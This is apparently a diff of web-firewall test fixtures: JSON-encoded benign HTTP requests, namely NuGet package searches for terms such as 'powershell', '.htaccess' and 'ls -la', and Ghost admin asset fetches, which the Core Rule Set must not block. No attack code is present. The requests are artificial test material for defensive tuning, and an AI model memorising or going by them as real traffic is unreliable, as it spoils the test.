{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
|
|
||||||
-794
@@ -1,794 +0,0 @@
|
|||||||
# Ordinary Ghost 6.76.0 requests that the Core Rule Set must let through at the
|
|
||||||
# defaults and while bodies are read. They were recorded from a Ghost driven by
|
|
||||||
# a headless Chrome, signed out, as a member and in the admin, and by curl on
|
|
||||||
# the Content API and the Admin API. Each line is one request as JSON. Names,
|
|
||||||
# addresses, passwords and keys are invented. The browser's User-Agent is an
|
|
||||||
# ordinary Chrome's. A body or a multipart part that is not text is written as
|
|
||||||
# base64.
|
|
||||||
{"method": "GET", "target": "/ghost/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/index-BiSgg_Os.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/react-DFHZ-wBR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/react-dom-SnO3ZWom.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/jsx-runtime-C_PdNFfk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/framework-provider-DCOh-eaQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/hooks-CBIG5v-t.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/src-CoPg2ZdF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/update-queries-1CGdpz7p.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/users-B0PWKMfp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/members-DttKKvqe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-CSTDfrUo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-tinybird-token-CzoVNSUR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-tinybird-query-CluOFAVL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/config-xRSk2505.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/preload-helper-DSa19gJg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/index-C3xC5ZJE.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chunk-6KYCQHYJ-KAiPDQaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/shade-context-I3ZE4fr1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/types-tDCnhhI9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/stack-Cw1NkXQD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/router-provider-Ck_ALVt2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/inline-cOcQBh0m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/text-Bh3jlIZm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/lazy-component-B6EO-LGC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-feature-flag-B2AxquJq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/schemas-CktAcdb3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-BML9cxFI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-D3v6eoke.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/es2015-LSK0Wp3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-DItC4Fk2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-D9kRdzHX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-6DqAnDJT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tooltip-DkgXrCfH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-C43r8Yet.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/button-rpPCYpff.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/accordion-D5n73vMe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/a-large-small-t76h0K2a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/activity-DF_5iIbe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/power-Dm59e8zN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/archive-C7eG93IF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-down-CyS8-WaT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-left-BO9d1zfd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-right-left-RUZQQxLM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-right-DS949Nuj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/star-off-CTupjXjv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-up-right-B1Aj0Uhl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/arrow-up-DgXkz7LS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/at-sign-C4B0lVaG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
